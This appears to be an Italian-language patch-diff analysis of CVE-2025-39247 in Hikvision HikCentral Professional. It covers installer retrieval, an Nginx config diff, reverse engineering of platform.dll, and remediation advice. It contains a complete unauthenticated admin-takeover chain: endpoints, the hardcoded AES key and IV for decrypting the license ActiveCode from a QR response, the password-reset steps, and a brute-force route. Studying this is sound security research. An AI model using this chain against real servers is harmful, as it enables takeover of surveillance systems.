
HikCentral Professional - Perdita Pre-Auth di ActiveCode della licenza
Prima di scaricare qualsiasi cosa, cosa è già pubblico:
| Fonte | Cosa ci dice |
|---|---|
| Hikvision security advisory | "Controlli di autenticazione mancanti sugli endpoint API", consiglio di aggiornare a V2.6.3 / V3.0.1 |
| NVD CVE-2025-39247 | Metriche CVSS; vettore è rete, nessuna autenticazione, ambito modificato, riservatezza alta |
| Riepiloghi di Wiz, ZeroPath, SentinelOne, OffSeq, gbhackers, cybersecuritynews | Tutti ripetono l'avviso; nessun dettaglio tecnico, nessun PoC, nessun endpoint interessato nominato |
| Aggregatori GitHub PoC (poc-in-github, 0xMarcio/cve, ecc.) | Nessun PoC indicizzato |
| Forum (ipcamtalk, cctvforum, reddit), indicizzatori torrent | Nessun PoC, nessun installer trapelato; ipcamtalk ha un thread sull'uso di HikCentral ma niente relativo a exploit |
Quindi, alla data dell'analisi, nessun documento tecnico pubblico espone il bug. Qualsiasi riproduzione parte dal diff binario.
Dopo la pubblicazione di CVE-2025-39247, la pagina di download di V2.6.2 è stata rimossa dalla lista, ma il file sul CDN non è mai stato eliminato. Il nome del file può essere recuperato da un mirror di terze parti che ha indicizzato la pagina prima della rimozione (FileHorse — ha pubblicato il nome del file e l'MD5). Con quel nome file, una semplice GET al CDN di Hikvision — utilizzando solo un normale User-Agent del browser e un header Referer corrispondente — lo serve ancora.```bash
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0"
-H "Referer: https://www.hikvision.com/en/support/download/software/hikcentral-professional-v2-6-2/"
-O
"https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe"
Risultato:
- Dimensione: 1,314,043,792 byte (1.22 GB)
- MD5: `76d42e7cb16dc0e177b9a35d0fed7ced` — corrisponde al valore pubblicato da FileHorse, confermando l'installer genuino firmato Hikvision (non un re-bundle di terze parti)
- Intestazioni della risposta CDN: `HTTP/2 200`, `content-type: application/x-msdownload`, `eo-cache-status: HIT`, `age: 2520395` (≈ 29 giorni nella cache perimetrale di Tencent EdgeOne senza sfratto)
**Osservazione collaterale degna di essere segnalata al PSIRT di Hikvision:** la "rimozione" della pagina V2.6.2 è solo estetica. Il file orfano è raggiungibile sulla CDN senza autenticazione e senza un gate URL firmato. I Full Pack V2.5.1 e V2.6.0 rispondono allo stesso modo.
### 2.2 Installer corretto (V2.6.3 Base Pack)
Attualmente collegato dalla pagina di download di V2.6.3; stesso metodo di recupero:```
https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-3/HikCentral-Professional_Base-Pack_V2.6.3.202508280142_Win_x64_Installer.exe
Ancora collegato dalla pagina di download V2.6.2 (Hikvision vuole che gli utenti lo applichino):``` https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/cve-2025-39247-security-vulnerability-patch/HikCentral-Professional_CVE-2025-39247_FixPack_V2.3.1-V2.6.2V3.0.0_20250904.exe
- Dimensione: 32,599,504 bytes (31 MB)
---
## 3. Estrazione statica
Tutti e tre sono wrapper PE di tipo InstallShield. `7z` li estrae in due passaggi:```bash
# pass 1 — extract PE resources
7z x -o./extracted/v262/pe downloads/<v2.6.2 installer>
7z x -o./extracted/v263/pe downloads/<v2.6.3 installer>
# pass 2 — extract the nested 7-Zip streams hiding in PE resources
# (note: the resource-type label says "ZIP" but the byte signature is 7-Zip)
for ver in v262 v263; do
for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do
sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue
7z x -o"extracted/$ver/payload/$(basename $z)" "$z"
done
done
Both installers expand into roughly two dozen named payload archives. The top-level dirs reveal the architecture:
Fondamentalmente, non ci sono JAR/WAR Java da nessuna parte. Il backend è C++ su Nginx — importante perché ti dice subito che qualsiasi vulnerabilità di autenticazione sarà nei binari compilati, non nel bytecode WAR/JAR dove la decompilazione è banale.
for ver in v262 v263: find . -type f -print0 | xargs -0 md5sum | sort -k2 > inv_$ver.txt
v262 = {ln[34:]: ln[:32] for ln in open("inv_v262.txt")} v263 = {ln[34:]: ln[:32] for ln in open("inv_v263.txt")} common = set(v262) & set(v263) changed = [p for p in common if v262[p] != v263[p]]
Risultato: 239 file modificati in percorsi comuni. Distribuzione:
| Bucket | Conteggio | Commento |
|---|---|---|
| `246/www/*.js` (blocchi Web UI) | ~200 | Per lo più hash di asset aggiornati per versione; ignora |
| `246/Nginx/conf/nginx_location.conf` | **1** | **Delta configurazione Nginx a file singolo — inizia da qui** |
| `246/Nginx*/install.bat` | 6 | Script di installazione, non correlati |
| `244/bin/*.{exe,dll}` | 6 | Binari nativi (`DistributionFilter.dll`, `FilterChain.dll`, strumenti multimediali) |
| `282/*.{exe,dll}` | 55 | Servizi applicativi (il cluster più grande — `platform.dll`, `PersonCredential.dll`, `baseacs.*`, …) |
| `240/bin/pg_*` | 6 | Rebuild di Postgres, non correlato |
| `284/hplugin/dahua_plugin/*` | 4 | Aggiornamento SDK fornitore (+10.97 MB) — non correlato |
| `284/hplugin/onvif_plugin/*` | 4 | Aggiornamento SDK fornitore (+0.99 MB) — non correlato |
| stub di upgrade/disinstallazione, crash reporter | ~30 | Ricostruzioni timestamp PE della stessa dimensione, ignora |
Dopo aver filtrato l'aggiornamento SDK del fornitore, lo scostamento timestamp del sistema di build e i puri incrementi estetici degli asset, i delta *effettivamente* rilevanti per la sicurezza si riducono a:
- Un file di configurazione Nginx
- Un piccolo numero di binari C++ in `282/` (principalmente `platform.dll`, il servizio backend HCMP, +57 KB)
---
## 5. Il diff di Nginx: individuazione gratuita del bug
`diff -u nginx_location.conf` tra V2.6.2 e V2.6.3 produce esattamente un hunk: un blocco `location =` completamente nuovo in V2.6.3.```nginx
#禁止非127.0.0.1和::1的重置密码 ← "Forbid non-127.0.0.1/::1 password reset"
location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
if ($allowed != "1") { return 403; }
if ($scheme = "http") { proxy_pass http://http_backend; }
if ($scheme = "https") { proxy_pass http://http2_backend; }
}
Quella singola aggiunta di 21 righe costituisce l'intera correzione di CVE-2025-39247 a livello di front-door, e ti dice tutto:
PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword/ISAPI/Bumblebee/Platform/V0/* verso il backend senza restrizione sull'indirizzo remoto e senza controllo di autenticazione a livello Nginx.Il commento in cinese è importante: si traduce letteralmente come "Vieta il ripristino della password da indirizzi non 127.0.0.1/::1".
Il JavaScript dell'interfaccia Web (minimizzato, in 246/www/Portal/*.js) chiama l'endpoint come:```js
// API definition (de-minified):
changeDefaultUserPassword: function (sid, payload, opts) {
return http.put({
url: "ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword",
data: { ChangeDefaultUserPasswordRequest: payload },
params: { SID: sid }
}, opts);
}
// Call site: changeDefaultUserPassword(n.SID, { UserName: form.userName, // "admin" Password: jsEncrypt.encrypt(form.newPassword), // RSA-PKCS1v15 ActiveCode: form.activeCode ? jsEncrypt.encrypt(form.activeCode) : "", QuestionList: questionAnswers // [{ID, Answer}, …] or [] }, ...);
// The RSA pubkey comes from another unauthenticated endpoint: getCrypto: function () { http.get({ url: "ISAPI/Bumblebee/Platform/V0/Security/Crypto" }); } // returns: { CryptoKey: <PEM/base64 RSA pubkey>, ... }
Quindi, ancor prima di disassemblare qualsiasi cosa, il JS pubblico ti dà la piena forma del wire. Ma rivela anche la parte scomoda: il corpo della richiesta richiede **o un `ActiveCode` valido o risposte corrette di `QuestionList`**. Inviare valori vuoti non funziona — il backend rifiuta con uno degli errori documentati (verificato tramite string-mining di `platform.dll`, §7).
Quindi CVE-2025-39247 **non** è "l'endpoint è un auth-bypass; invia campi vuoti e la password cambia". È "l'endpoint *si fida di un chiamante locale* che abbia già il giusto ActiveCode; il bug è che il gate di rete a livello di localhost manca, quindi qualsiasi *chiamante remoto* che possa *anche* fornire un ActiveCode o QuestionList valido ha successo." Pertanto il vero enigma dello sfruttamento è: da dove provengono ActiveCode o QuestionList?
---
## 7. Backend handler — string-mining `platform.dll`
`platform.dll` è il servizio backend HCMP, 46.87 MB nella V2.6.2, 46.93 MB nella V2.6.3 (+57 KB). Tutte le stringhe di routing, le stringhe di formato dei log e le stringhe C++ RTTI / `__FUNCTION__` sono presenti in chiaro.
Stringhe all'interno di `platform.dll` attorno al gestore:```
VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
/ChangeDefaultUserPasswordRequest/UserName
/ChangeDefaultUserPasswordRequest/Password
/ChangeDefaultUserPasswordRequest/ActiveCode
/ChangeDefaultUserPasswordRequest/CryptoKey
/ChangeDefaultUserPasswordRequest/QuestionList
/ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer
[%s]IP=[%s] Reqest Paramter active_code and security_question both empty!
[%s]invalid active_code=%s
[%s]security question verify fail
[%s]IP=[%s] Isn't Super User!
[%s]IP=[%s] User Not Exist!
[%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s
[%s] ChangeDefaultUserPassword by ip[%s].
Entrambe le versioni di platform.dll contengono queste stringhe. Quindi la logica di validazione esiste anche in V2.6.2 — ActiveCode e QuestionList sono controllati.
Stringhe che esistono in V2.6.3 platform.dll e non in V2.6.2:```
VSMPlatform::CRetrievePwdByQuesFreezeManager::AddAccountLoginFailCount VSMPlatform::CRetrievePwdByQuesFreezeManager::ClearAccountFreeze VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountFreezeSurplusCount VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountLockRemainingFreezeTime VSMPlatform::CRetrievePwdByQuesFreezeManager::IsAccountFreeze ....\src\vsmplatform\Authentication\UserLogin\Freeze\RetrievePwdByQuesFreezeManager.cpp [%s]AddAccountLoginFailCount only admin can lock, but id: %d
127.0.0.1
admin
VSMPlatform::CCmd::CheckToken /ResponseStatus/Data/TokenValid [%s]token = %s, session = %s
/ResponseStatus/Data/RetrievePasswordResult/RemainingNumber /ResponseStatus/Data/RetrievePasswordResult/LockRemainTime /ResponseStatus/Data/RetrievePasswordResult/RemainingType
Traduzione: V2.6.2 aveva **nessun** limite di frequenza sul percorso di validazione `ChangeDefaultUserPassword`. Un attaccante che fornisce un ActiveCode errato o risposte sbagliate alle domande di sicurezza riceve semplicemente un errore e può riprovare all'infinito. La stringa di formato del codice di verifica `%06d` si trova anche in `platform.dll` (insieme allo schema SQL `verify_code VARCHAR(64)`), confermando che il codice di verifica email è un **decimale a 6 cifre**, spazio di ricerca 10⁶.
Questo è già un exploit praticabile (percorso A): innescare `SendVerifyCode`, forzatura bruta di 10⁶ codici all'interno della finestra di scadenza senza blocco. A 1000 richieste/s il tempo medio per il successo ≈ 8 minuti. Ma esiste un percorso più incisivo.
---
## 8. La superficie di divulgazione di informazioni pre-autenticazione
L'enumerazione degli endpoint in `platform.dll` rivela diversi elementi simili che sembrano correlati:```
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName
/ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck
/ISAPI/Bumblebee/Platform/V0/Security/Crypto
/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode
Nessuno di questi è limitato da nginx_location.conf; tutti passano attraverso lo stesso proxy predefinito /ISAPI/Bumblebee/Platform/*. Le stringhe degli handler mostrano cosa restituiscono:```
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Email
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Name
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RetrieveType
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RemainVerityCodeTimeout
/ResponseStatus/Data/UserRetrieveStateInfo/SystemMailSetted
/ResponseStatus/Data/UserRetrieveStateInfo/SecurityQuestionSetted
/ResponseStatus/Data/UserRetrieveStateInfo/AllowRetrieve
So `RetrieveStateInfo(Name=admin)` restituisce l'email di admin, se il recupero tramite domanda di sicurezza è configurato, se il recupero tramite email è configurato e il tempo rimanente di qualsiasi codice di verifica in corso — a chiunque, non autenticato.
`RetrieveStateInfo` non è bloccato dalla patch V2.6.3. La divulgazione di informazioni persiste in V2.6.3.
---
## 9. La superficie d'attacco della licenza/QR
L'endpoint `/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode` è sorprendente perché il suo nome accoppia *License* con *ActiveCode* — e il gestore di reset della password accetta anche un campo `ActiveCode`. Si tratta di una sovrapposizione sospetta di terminologia.
Stringhe raggiungibili da quel gestore:```
License:%s;DZP:%s ← QR plaintext format
[%s]PrivateAESEncrptQRCode failed! data:%s ← AES path used to encrypt
[%s]Base64Encode failed! data:%s ← then base64
/ResponseStatus/Data/QRCode ← response field
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s
So il QR è Base64( AES-128-CBC-PKCS7( "License:<ActiveCode>;DZP:<DeviceCode>" ) ) e il testo in chiaro contiene letteralmente il ActiveCode della licenza per installazione che l'endpoint di reset della password convalida. Il QR è avvolto in un modello URL https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<base64-of-ciphertext> che viene poi renderizzato come PNG QR; il PNG è ciò che il campo di risposta JSON Data.QRCode restituisce.
Conferma tramite diff V2.6.3: la stringa di formato License:%s;DZP:%s esiste in platform.dll di V2.6.2 e viene rimossa in V2.6.3. L'endpoint QR stesso, il simbolo della funzione PrivateAESEncrptQRCode e il letterale IV (§10) persistono tutti in V2.6.3 — solo il formato del testo in chiaro che perdeva informazioni è stato rimosso. È esattamente quello che ci si aspetterebbe da una correzione di Hikvision.
Questo è il passaggio che richiede più lavoro. Piano:
VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode in platform.dll.La stringa di formato dell'errore [%s]PrivateAESEncrptQRCode failed! data:%s si trova in .rdata. Trovare il suo VMA in .rdata, quindi scansionare .text per istruzioni lea r, [rip + rel32] che risolvono a quel VMA. (Per 16 MB di .text ci vogliono pochi secondi con pefile + capstone che esegue una camminata lineare per il pattern REX.W + 8D + MODRM mod=00 rm=101.)
Il log di errore è referenziato da una sola istruzione a 0x1812553f7. Risalendo fino alla funzione che lo racchiude tramite .pdata (la tabella di unwind per x64 PE — l'intestazione della sezione è analizzabile con pefile, dodici byte per voce RUNTIME_FUNCTION: start_RVA, end_RVA, unwind_RVA) si ottiene il gestore ISAPI esterno CLicenseISAPIComm::ActiveCodeQRcode a 0x181254cc0..0x181255919.
Quella funzione esterna costruisce la stringa in chiaro "License:%s;DZP:%s" e codifica in base64 il risultato; la chiamata AES effettiva si trova in un helper un livello più in basso, a 0x18002a397 (risolve tramite un thunk jmp a una funzione di 502 byte la cui stringa RTTI è VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode — confermata dal cross-reference della stringa).
0x1807d33e0Disassemblando il corpo di 502 byte ed elencando ogni lea r, [rip + rel32] il cui target cade in .rdata si ottengono solo 5 riferimenti a stringhe:```
0x1807d34d2 -> 0x18200b1b0 len=16 'AaBbCcDd1234!@#$' ← 16 bytes of letters/digits/symbols
0x1807d3516 -> 0x18200b1d0 len=48 '....\src\vsmplatform\Common\PrivateAESEncrypt\PrivateAESEncrypt.cpp'
0x1807d352a -> 0x18200b218 len=48 'VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode'
0x1807d3531 -> 0x18200b250 len=23 '[%s]error is %d[%s(%d)]'
0x1807d3538 -> 0x18200b268 len=23 'platform.PriorityLogger'
La prima voce è l'unica stringref a 16 byte. Quella lunghezza è sospetta: il blocco, la chiave e l'IV AES sono tutti di 16 byte per AES-128. Il letterale `AaBbCcDd1234!@#$` — otto coppie di lettere alternate maiuscole/minuscole seguite da `1234!@#$` — è anche la tipica forma da manuale di "costante segnaposto per sviluppatori" (simile agli idiomi ASCII *reali* `BAADF00D` / `DEADBEEF`). A questo punto, un'ipotesi sensata è "questo è l'IV".
Questa ipotesi è supportata dal contesto del disassemblato. La sequenza di istruzioni attorno alla stringref:```asm
; ... build first 16 bytes of something into buffer at [rsp+0xc0] ...
mov dword ptr [rsp + 0x100], 5 ; some flag = 5
lea rdx, [rip + 0x1837cd7] ; <— loads "AaBbCcDd1234!@#$"
lea rcx, [rsp + 0xe0] ; destination
call <thunk> ; std::string assign-like; copies 16B into [rsp+0xe0]
mov dword ptr [rsp + 0x104], 1
lea rdx, [rsp + 0xa0] ; pass: rdx = key (16B at [rsp+0xa0])
lea rcx, [rsp + 0x60] ; pass: rcx = output buffer
call <encrypt-wrapper at 0x180007563> ; → 0x181b03790, a generic AES mode-dispatcher
; that imports AES_cbc_encrypt, AES_cfb128_encrypt,
; AES_ecb_encrypt and AES_ofb128_encrypt.
; QR path takes the AES_cbc_encrypt branch.
Quindi [rsp+0xe0] finisce per contenere i byte IV, [rsp+0xa0] contiene 16 byte costruiti in precedenza in [rsp+0xc0] (la chiave), e questi due buffer vengono poi passati al wrapper OpenSSL. Confermare il recupero dell'IV è solo una questione di verifica incrociata: la platform.dll di V2.6.3 contiene ancora il letterale AaBbCcDd1234!@#$ allo stesso offset — Hikvision non ha ruotato l'IV, che è la scelta crittografica corretta (solo la chiave deve essere segreta, l'IV deve essere unico per messaggio, ma un IV fisso è "debole" non "rotto" come lo sarebbe una chiave fissa).
Immediatamente sopra il riferimento all'IV stringref, il wrapper imposta la chiave con questa breve sequenza:```asm mov dl, 0x41 ; seed byte = 'A' lea rcx, [rsp + 0x140] ; this-pointer for a local buffer call <thunk 0x1800683fe> ; → 0x1807d19b0 (599-byte function) mov [rsp + 0x50], rax mov rdx, [rsp + 0x50] ; rdx = pointer to the 16-byte buffer the call just produced lea rcx, [rsp + 0xc0] call <std::string assign> ; copy the 16 bytes into the key buffer at [rsp+0xc0]
Poi disassemblando `0x1807d19b0`: è una *funzione di derivazione delle chiavi puramente aritmetica*. Prende un byte come input (il `0x41`), alloca 16 byte nello stack e scrive 16 valori ciascuno calcolato come `seed + offset_i` per una sequenza hardcoded di 16 offset con segno:```
+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39,
−0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D
Con seed 0x41 ('A'):
Algorithm: AES-128-CBC with PKCS7 padding IV (16): 41 61 42 62 43 63 44 64 31 32 33 34 21 40 23 24 → AaBbCcDd1234!@#$ KEY (16): 57 77 58 78 59 79 5A 7A 31 32 33 34 21 40 23 24 → WwXxYyZz1234!@#$
Stessa famiglia aritmetica. Stessi 8 byte finali (`1234!@#$`). Entrambi sono costanti binarie incorporate identiche in ogni installazione V2.6.2 (e in V2.3.1 .. V2.6.2 e V3.0.0 — condividono il percorso di crittografia QR), quindi un singolo recupero da una copia di `platform.dll` è sufficiente per decifrare il QR da qualsiasi server HCMP vulnerabile sulla rete.
---
## 11. Catena end-to-end
La catena si divide nettamente in due metà:
- **Le metà 1-3** sono un problema di **divulgazione di informazioni** non autenticato in HCMP. Eseguono contro il target due richieste in sola lettura e recuperano un segreto per installazione (il License ActiveCode) da un endpoint pre-login.
- **Le metà 4-5** sono il **takeover** eseguito inviando l'ActiveCode recuperato al flusso legittimo "Password dimenticata" di HCMP tramite la normale interfaccia Web. Non è necessaria alcuna richiesta HTTP speciale: l'operatore clicca attraverso lo stesso modulo che un utente legittimo userebbe.
La divisione è importante: consente di implementare il PoC di riferimento come un puro strumento di ricognizione senza alcun percorso di codice distruttivo al suo interno (il flusso dell'interfaccia utente rimane con l'uomo nel ciclo).```
HALF 1 — automated recon (recovers the ActiveCode):
1. POST /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET (empty body)
(unauthenticated, read-only)
→ ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode}
→ SID is a server-issued anonymous session token used by step 2.
2. POST /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=<sid>
(empty body, unauthenticated, read-only)
→ ResponseStatus.Data.QRCode = base64( PNG image of a QR code )
The QR's payload is the URL template
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<b64>
where <b64> = base64(
AES-128-CBC-PKCS7(
KEY = WwXxYyZz1234!@#$,
IV = AaBbCcDd1234!@#$,
PT = "License:<code>[,<code>...];DZP:<devicecode>"))
The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes
(one per licensed module on the target). Any single ActiveCode in
that list is accepted by the takeover workflow in HALF 2.
3. Locally:
a. base64-decode the QRCode field → PNG bytes
b. decode the QR (e.g. pyzbar) → URL string
c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid
base64 character that must survive verbatim)
d. base64-decode → 16N bytes of AES ciphertext
e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad
f. split on "License:" / "," / ";DZP:"
→ list of ActiveCodes in plaintext.
HALF 2 — manual takeover via the legitimate Web UI:
4. Open https://<target>:<port> in a browser.
5. Click «Forgot password».
6. Username → admin
7. Recovery method → «Activation code» (NOT email / questions)
8. Activation code → <one of the recovered ActiveCodes>
9. Choose & confirm a new admin password.
10. Log in as admin with the new password.
Niente brute force, niente ingegneria sociale, nessuna conoscenza preliminare tranne la coppia KEY+IV di 16 byte che è recuperabile una volta da un singolo platform.dll V2.6.2 e identica in ogni installazione di ogni versione vulnerabile. Le metà 4-10 vengono eseguite manualmente dall'operatore tramite l'interfaccia utente legittima — non esiste un equivalente automatizzato nel PoC di riferimento.
Implementazione: poc/cve_2025_39247_poc.py — uno script Python solo per ricognizione. Esegue la PARTE 1 (due POST in sola lettura senza autenticazione) e poi stampa la ricetta manuale (passi 4-10) con l'URL del target dell'operatore e i codici ActiveCode recuperati inseriti. Lo script non contiene codice che scrive sul target; la PARTE 2 viene eseguita manualmente tramite l'interfaccia web, quindi lo strumento rimane uno strumento di verifica piuttosto che un'arma a fuoco e dimentica.
Esegui:```bash python3 poc/cve_2025_39247_poc.py https://:
Due flag `--qr-*` consentono allo script di funzionare interamente offline su un QR catturato (per analisi senza colpire nuovamente un bersaglio):
- `--qr-scanned-text '<value>'` — incolla il contenuto testuale di un QR scansionato
- `--qr-ciphertext-hex <hex>` — fornisci un ciphertext AES pre-estratto decodificato da base64
---
## 12. Cosa è cambiato effettivamente in V2.6.3 (e nel Fix-Pack)
| Difesa | V2.6.2 | V2.6.3 | Fix-Pack su V2.6.2 |
|---|---|---|---|
| Restrizione Nginx remote-addr su `ChangeDefaultUserPassword` | assente | **aggiunto** | **aggiunto** (tramite script InstallShield nell'EXE del Fix-Pack — confermato dalle stringhe `\VSM Servers\Web Service\Nginx\conf\nginx_location.conf` / `_bak.conf` all'interno del motore di installazione del Fix-Pack) |
| Controllo letterale `127.0.0.1` a livello di app nell'handler | assente | **aggiunto** | non aggiunto (il Fix-Pack non corregge `platform.dll`) |
| Blocco per account (`CRetrievePwdByQuesFreezeManager`) | assente | **aggiunto (solo admin)** | non aggiunto |
| Passo di validazione `CheckToken` | assente | **aggiunto** | non aggiunto |
| Il plaintext del QR contiene `License:<ActiveCode>;DZP:...` | SÌ | **rimosso** | non cambiato (il Fix-Pack non corregge `platform.dll`) |
| Chiave AES del QR | recuperabile dal binario | ruotata *o* inutilizzata (dipende se la modifica del formato plaintext ha reso il percorso morto) | ruotata tramite `wbaes_key_dec` + decryptor whitebox-AES nel Fix-Pack |
| IV AES del QR | `AaBbCcDd1234!@#$` | invariato | invariato |
| Divulgazione informazioni `RetrieveStateInfo` | perde | **ancora perde** | ancora perde |
| `GetSecurityQuestionCommBeforeLogin` | perde | **ancora perde** | ancora perde |
| Installer vulnerabile raggiungibile su CDN Hikvision | sì | sì | sì |
Il Fix-Pack include una parte mobile aggiuntiva di cui la release V2.6.3 non ha bisogno: un **decryptor whitebox-AES** (`wbext_dec.exe`, il percorso del sorgente perde `D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c`, utilizza il proprio letterale IV `fixed_iv_16byte`) più un **ciphertext AES-128-CFB da 244 byte** (`wbaes_key_dec`). Il decryptor prende il blob di ciphertext e produce una nuova chiave in plaintext, che l'installer del Fix-Pack scrive nell'archivio di HCMP per ruotare la chiave QR incorporata nel binario sulle installazioni V2.6.2 esistenti. Whitebox-AES viene utilizzato qui puramente per rendere scomodo estrarre la chiave ruotata dall'artefatto della patch tramite ispezione — la stessa tecnica difensiva usata dai sistemi DRM.
---
## 13. Azioni di remediation consigliate (oltre le patch rilasciate)
1. **Rimuovere i binari installer orfani dal CDN.** `…/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe` ancora serve HTTP/2 200 con un hit della cache edge di 29 giorni. Lo stesso vale per V2.6.0, V2.5.1 ecc. — ogni installer nell'intervallo vulnerabile è ancora raggiungibile tramite URL diretto. La rimozione a livello di pagina è solo cosmetica.
2. **Autenticare `RetrieveStateInfo` e `GetSecurityQuestionCommBeforeLogin`.** Entrambi perdono l'email dell'amministratore e i metadati di configurazione del recupero a chiamanti anonimi anche in V2.6.3; nessuno dei due è stato toccato dalla correzione.
3. **Smetti di usare costanti segnaposto ASCII come materiale crittografico per le chiavi.** `WwXxYyZz1234!@#$` è il tipo di valore che sopravvive a una "revisione del codice per scorrimento". Sostituisci con materiale casuale per installazione al primo avvio; se la compatibilità all'indietro richiede un fallback incorporato nel binario, almeno derivarlo da un hash dello stato specifico dell'installazione (GUID macchina, timestamp di installazione) in modo che vari per implementazione.
4. **Tratta "l'IV non deve essere segreto" come una trappola, non una licenza.** Mantenere l'IV letterale anche dopo la divulgazione è matematicamente difendibile in CBC, ma produce un'inutile agevolazione per l'attaccante una volta che il diff espone la rotazione come solo chiave.
5. **Per la famiglia di endpoint `ChangeDefault*`**, preferisci un listener Unix-domain-socket / solo loopback a livello di applicazione rispetto a una restrizione di configurazione Nginx. Un file di configurazione è a una modifica errata dal reintrodurre il bug; un `bind 127.0.0.1` nel servizio C++ è strutturalmente più sicuro.
| Archivio | Contenuto |
|---|
246/Nginx + 246/www | Livello web Nginx (la porta d'ingresso) e l'interfaccia web SPA |
244/bin | Binari nativi C++ del servizio + certificati |
240 | PostgreSQL in bundle + script di inizializzazione DB |
238 | Runtime Bee* (BeeAgent, BeeGuard, …) |
282 | Servizi applicativi e addon (la maggior parte del codice backend C++) |
281, 283-284, 396, 398-399, 513, 520, 538-541, 573 | Addon più piccoli, plugin, stub di aggiornamento/disinstallazione |
| pos | offset | byte | char |
|---|
| 0 | +22 | 0x57 | W |
| 1 | +54 | 0x77 | w |
| 2 | +23 | 0x58 | X |
| 3 | +55 | 0x78 | x |
| 4 | +24 | 0x59 | Y |
| 5 | +56 | 0x79 | y |
| 6 | +25 | 0x5A | Z |
| 7 | +57 | 0x7A | z |
| 8 | −16 | 0x31 | 1 |
| 9 | −15 | 0x32 | 2 |
| 10 | −14 | 0x33 | 3 |
| 11 | −13 | 0x34 | 4 |
| 12 | −32 | 0x21 | ! |
| 13 | −1 | 0x40 | @ |
| 14 | −30 | 0x23 | # |
| 15 | −29 | 0x24 | $ |